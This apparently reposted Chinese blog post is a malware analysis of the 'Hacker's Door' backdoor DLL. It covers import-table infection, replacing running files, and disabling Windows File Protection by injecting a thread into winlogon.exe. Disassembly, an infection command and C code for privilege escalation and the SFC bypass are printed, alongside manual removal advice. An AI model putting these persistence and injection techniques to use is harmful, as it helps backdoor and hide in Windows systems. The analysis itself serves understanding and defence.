分析黑客之门

iiprogram

墨衍会员 · AI 创作全网分发码龄25年

关注

转载最新推荐文章于 2026-04-22 09:05:56 发布 1.4k 阅读 AI 写同款· GEO 优化 ›

黑客利用的远程控制特洛伊木马全解析本文深入分析了黑客通过不同端口和服务实施远程控制的各种特洛伊木马工具，包括它们的功能、策略及潜在的危害。通过对每种木马特点的详细介绍，帮助读者更好地理解和防范这些网络攻击手段。阅读详情

最近对后门产生了很浓厚的兴趣，上网与各位高手讨论的时候，有人提到了“黑客之门”很厉害，也算是推出来的比较成功的一个后门，于是上网下载了一个研究研究，顺便也学习学习其中的方法与技巧。不敢独享，分享于此，同时希望高手们指教。

“黑客之门”介绍

黑客之门采用的目前一些先进的后门技术，它只有一个Dll文件，通过感染系统文件启动自身，被感染的系统文件大小和日期都不会改变；同时采用线程插入技术，本身没有进程；本身不开端口，而是重用系统进程开的任意一个端口，如80，135，139，445等，因此它的隐藏性非常好，而且穿透防火墙也是很容易的事。这个版本文件不大，只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门，象Fport，Llister，RKDetector等查工具都失效。
程序的自启动

既然是一个后门，那么就要随系统的启动而启动，根据黑客之门的介绍，它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件（像病毒），那就看看感染前和感染后的系统文件的区别吧！为了测试感染前后的差别，我准备了一个专门用来被感染的文件TestLoad.exe，它没有什么功能，只是弹出一个对话框，这样好等待测试，麻雀虽小，五脏俱全，省得动系统文件了。接着运行命令：

C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe，感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。

被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示：

感染之后的TestLoad.exe的结构如图2所示：

可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址（Import Table Address ITA）已经被改变，原来的ITA为0x000043FC，感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化，这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数，比较结果如图3所示：

提示：使用LordPE.exe查看exe文件的引入表函数方法是：点击PE Edito打开相应的文件，接着点击Directories，弹出对话框后点击Import Table右边的三个点，这样就可以查看一个可执行文件的引入表了。

可以看出，只是在引入表链表中添加了一个相应的Hkdoordll.dll，这样当被感染的程序再次运行时，由系统的程序装载器搜索Hkdoordll.dll，并将其引用到被感染程序的地址空间，后门就运行起来了。黑客之门的这种子启动方式值得学习，比较灵巧。

搞明白了黑客之门的启动方式后，我们就可以手动清除它了，这里切不可将Hkdoordll.dll直接删除，这样可能直接导致系统崩溃。因为系统在加载被感染的程序（假如为Services.exe）时发现没有找到Hkdoordll.dll，Services.exe将不能被装载，如果被感染的是系统关键进程的话，那么系统将不能正确的启动。清除的时候我们可以去别的机器上（相同系统与补丁）找一个Services.exe，将被感染的程序命名为Services2.exe，将Services.exe拷贝到System32文件夹下，重启电脑，删除Hkdoordll.dll就清除黑客之门了。
运行时感染

上面说的是黑客之门的自启动方式，下面看看黑客之门是怎么感染正在运行的系统文件的，这一点让我晕了很久，最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下，正在运行的程序文件一般是不能修改或者删除的，正是由于这一点，才出现了各种程序运行时的自删除***，程序自删除不是我们这次的重点。但是，细心的用户可能已经发现，在Windows 2000或Wndows XP系统下，我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试，运行：

C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak，咋一看还以为“黑客之门”做好事，自动帮你备份一下系统文件，其实这可是黑客之门的狐狸尾巴啊！是它不得已而为之的。不要关闭TestLoad.exe，然后试着删除TestLoad.exe和TestLoad.exe.bak，是不是发现奇迹了？竟然把TestLoad.exe删掉了，而TestLoad.exe.bak竟然不让删，是不是和我刚才说的话矛盾？非也！非也！刚好证明了刚才的话：黑客之门先把TestLoad.exe改名为TestLoad.exe.bak，然后生成一个被感染的TestLoad.exe，这样，下次运行TestLoad.exe实际上是被替换过的程序，原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用：

文件重命名：

.data:1000C618                 lea     ecx， [esp+438h+FileName]
.data:1000C61F                 lea     edx， [esp+438h+var_324]
.data:1000C626                 push    ecx
.data:1000C627                 push    edx
.data:1000C628                 call    rename

拷贝文件：

.data:1000C66F           lea     edx， [esp+440h+var_32C]
.data:1000C676           push    0               ; bFailIfExists
.data:1000C678           lea     eax， [esp+444h+var_228]
.data:1000C67F           push    edx             ; lpNewFileName
.data:1000C680           push    eax             ; lpExistingFileName
.data:1000C681           call    CopyFileA

移动文件：

.data:1000C795           mov     eax， [ebp+8]
.data:1000C798           test    eax， eax
.data:1000C79A           jnz     short loc_1000C7FE
.data:1000C79C           lea     ecx， [esp+448h+var_334]
.data:1000C7A3           push    5               ; dwFlags
.data:1000C7A5           lea     edx， [esp+44Ch+var_230]
.data:1000C7AC           push    ecx             ; lpNewFileName
.data:1000C7AD           push    edx             ; lpExistingFileName
.data:1000C7AE           call    MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”，”TestLoad.exe.bak”， MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);

    小知识：MSDN中对MoveFileEx()函数的解释为：
BOOL MoveFileEx(
LPCTSTR lpExistingFileName， // pointer to the name of the existing file
LPCTSTR lpNewFileName，       // pointer to the new name for the file
DWORD dwFlags                // flag that specifies how to move file
);

这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak，接着Hkdoordll.dll生成被感染的TestLoad.exe，并且保存在原来的文件路径上即可。

灭掉系统文件保护

一旦系统启动了，Windows系统就开始加载已经被感染的系统程序，但是由于“黑客之门”是通过感染系统程序实现自启动的，这下子又遇到了另外一个问题。

大家都知道，在Windows 2000和Windows XP中有系统文件保护功能，一旦被保护的系统文件被修改了，就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题， TestLoad.exe只是一个普通的EXE文件，而不是受系统文件保护系统保护的系统进程，那为什么黑客之门修改系统进程时，操作系统的文件的文件保护系统不会提醒呢？
这一点，还是采用反汇编黑客之门的方法，观察它是怎样关闭系统文件保护功能的。

发现如下的代码：

.data:1000BBB0 LoadSFCDLL   proc near    ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0      push    esi
.data:1000BBB1      xor     esi， esi
.data:1000BBB3      call    GetVersion ; Get current version number of Windows
.data:1000BBB3      ; and information about the operating system platform
.data:1000BBB9      cmp     al， 5
.data:1000BBBB      jnz     short loc_1000BBDF
.data:1000BBBD      xor     ecx， ecx ;此时为Windows2000系统
.data:1000BBBF      mov     cl， ah
.data:1000BBC1     test    cl， cl
.data:1000BBC3     jnz     short loc_1000BBD2
.data:1000BBC5     push    offset aSfc_dll ; lpLibFileName
.data:1000BBCA     call    LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0     pop     esi
.data:1000BBD1     retn
.data:1000BBD2 loc_1000BBD2:          ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2     push    offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7     call    LoadLibraryA
.data:1000BBDD     pop     esi
.data:1000BBDE     retn

上面的代码可以看出，Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll，如果是Windows 2000（Windows NT 5.0）的话，装载Sfc.dll；如果是Windows XP（Windows NT 5.1）的话，装载Sfc_os.dll。再看下面的一段反汇编代码：

sub     esp， 228h
.data:1000BC76     lea     eax， [esp+228h+hObject]
.data:1000BC7A     push    ebx
.data:1000BC7B     push    esi
.data:1000BC7C     push    edi
.data:1000BC7D     push    offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82      push    0
.data:1000BC84      push    offset aDS      ; "%d/%s"
.data:1000BC89      push    1Fh
.data:1000BC8B     mov     edi， ecx
.data:1000BC8D     push    eax
.data:1000BC8E     call    sub_10008C60
.data:1000BC93      add     esp， 14h
.data:1000BC96      lea     ecx， [esp+234h+hObject]
.data:1000BC9A      push    ecx             ; lpMultiByteStr
.data:1000BC9B      call    sub_100016CC    //这个子函数就是用来得到进程ID
.data:1000BCA0      cmp     eax， 0FFFFFFFDhSFC
.data:1000BCA3      jb      short loc_1000BCDB
.data:1000BCA5      push    offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"

上面的函数用来得到Winlogon.exe进程的ID，以便下面打开它注入代码：

.data:1000BCDB       push    eax             ; dwProcessId
.data:1000BCDC       push    0               ; bInheritHandle
.data:1000BCDE       push    1F0FFFh         ; dwDesiredAccess
.data:1000BCE3       call    OpenProcess ;打开目标进程
.data:1000BCE9       mov     ebx， eax
.data:1000BCEB       test    ebx， ebx
.data:1000BCED       jnz     short loc_1000BD25

上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码，发现下面的一段：

.data:1000BD25       mov   ecx， edi
.data:1000BD27       call    LoadSFCDLL
.data:1000BD2C       mov   esi， eax
.data:1000BD2E       test    esi， esi
.data:1000BD30       jnz    short loc_1000BD6F
.data:1000BD6F       push   2              ;函数序号为2
.data:1000BD71       push   esi             ;SFC.dll的 hModule
.data:1000BD72       call    GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78       test    eax， eax
.data:1000BD7A       mov     [edi+10h]， eax
.data:1000BD7D       jnz     short loc_1000BDC3

可以发现上面的汇编代码用来得到以前装载的Sfc.dll（或Sfc_os.dll）中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3，继续跟踪反汇编代码，发现以下一段：

.data:1000BDC3       push    eax             ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4       push    ebx             ; Winlogon.exe进程的句柄
.data:1000BDC5       mov     ecx， edi
.data:1000BDC7       call    sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC       push    esi             ; hLibModule
.data:1000BDCD       mov     edi， eax
.data:1000BDCF       call    FreeLibrary
.data:1000BDD5       test    edi， edi
.data:1000BDD7       push    ebx             ; hObject
跟进Sub_1000BBF0函数，Sub_1000BBF0函数：
入口参数：进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0    proc near     ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId        = dword ptr -1
.data:1000BBF0 hProcess        = dword ptr 7
.data:1000BBF0 lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0       push    ecx
.data:1000BBF1       mov     ecx， [esp+1+lpStartAddress]
.data:1000BBF5       mov     edx， [esp+1+hProcess]
.data:1000BBF9       lea     eax， [esp+1+ThreadId]
.data:1000BBFD       push    esi
.data:1000BBFE       push    eax       ; lpThreadId
.data:1000BBFF       push    0         ; dwCreationFlags
.data:1000BC01       push    0         ; lpParameter
.data:1000BC03       push    ecx       ; SFC.dll中第二个函数的函数地址
.data:1000BC04       push    0         ; dwStackSize
.data:1000BC06       push    0         ; lpThreadAttributes
.data:1000BC08       push    edx       ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09       mov     [esp+21h+ThreadId]， 0
.data:1000BC11       call    CreateRemoteThread    ;创建远线程
.data:1000BC17       mov     esi， eax
.data:1000BC19       test    esi， esi ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B       jnz     short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:     ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F          push    0FA0h           ; dwMilliseconds
.data:1000BC44          push    esi             ; 新创建的线程的句柄
.data:1000BC45          call    WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B          test    eax， eax
.data:1000BC4D          jz      short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:         ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D          push    esi             ; hObject
.data:1000BC5E          call    CloseHandle
.data:1000BC64           mov     eax， [esp+5+ThreadId]
.data:1000BC68           pop     esi
.data:1000BC69           pop     ecx
.data:1000BC6A           retn    8
.data:1000BC6A sub_1000BBF0    endp

上面的子函数功能很简单，就是在刚刚打开的Winlogon.exe进程中创建新的线程，新线程调用SFC.dll中的序号为2的输出函数，这样便关掉了系统文件的自我保护。

事实上，根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释，在Windows 2000(XP)系统下，执行系统文件保护的代码在Sfc.dll（XP在Sfc_os.dll）中，这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件，Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件，这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数，就能取消文件保护功能了，“黑客之门”采用的也正是这样的方法。

这里需要注意的是，要把进程注入到Winlogon.exe中，需要提升自身的权限到Debug权限。

HANDLE hToken;
    LUID DebugNameValue;
    TOKEN_PRIVILEGES Privileges;
    DWORD dwRet;

    OpenProcessToken(GetCurrentProcess()，
      TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY，hToken);
    LookupPrivilegeValue(NULL，"SeDebugPrivilege"，&DebugNameValue);
    Privileges.PrivilegeCount=1;
    Privileges.Privileges[0].Luid=DebugNameValue;
    Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken，FALSE，&Privileges，sizeof(Privileges)，
                  NULL，&dwRet);
    CloseHandle(hToken);

上面整个关闭系统文件保护功能的实现用C语言写下来如下所示：

/*得到进程的ID，具体的方法可以使用CreateToolHelpSnap32()，ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(，FALSE，dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
   if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{                 // Windows 2000/XP
        if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)   //Windows 2000
                   hSfc = LoadLibrary("sfc.dll");
        else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP
            hSfc = LoadLibrary("sfc_os.dll");
    }
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc， MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess，0，0， /
(DWORD (__stdcall *) (void *)) dwAddress，0，0，&dwThreadId);
WaitForSingleObject(hThread，0x0FA0);

结束语

大概分析完了，刚开始拿到黑客之门的时候，还在想，它到底是怎样感染正在运行的系统文件的呢？原来以为是修改进程的句柄指向的进程的操作掩码完成的，为此我还翻阅了好多文档。结果通过对程序的反汇编学习，渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者，没有给它加壳，能让我们有幸能一睹优秀黑客工具的容颜！

收录于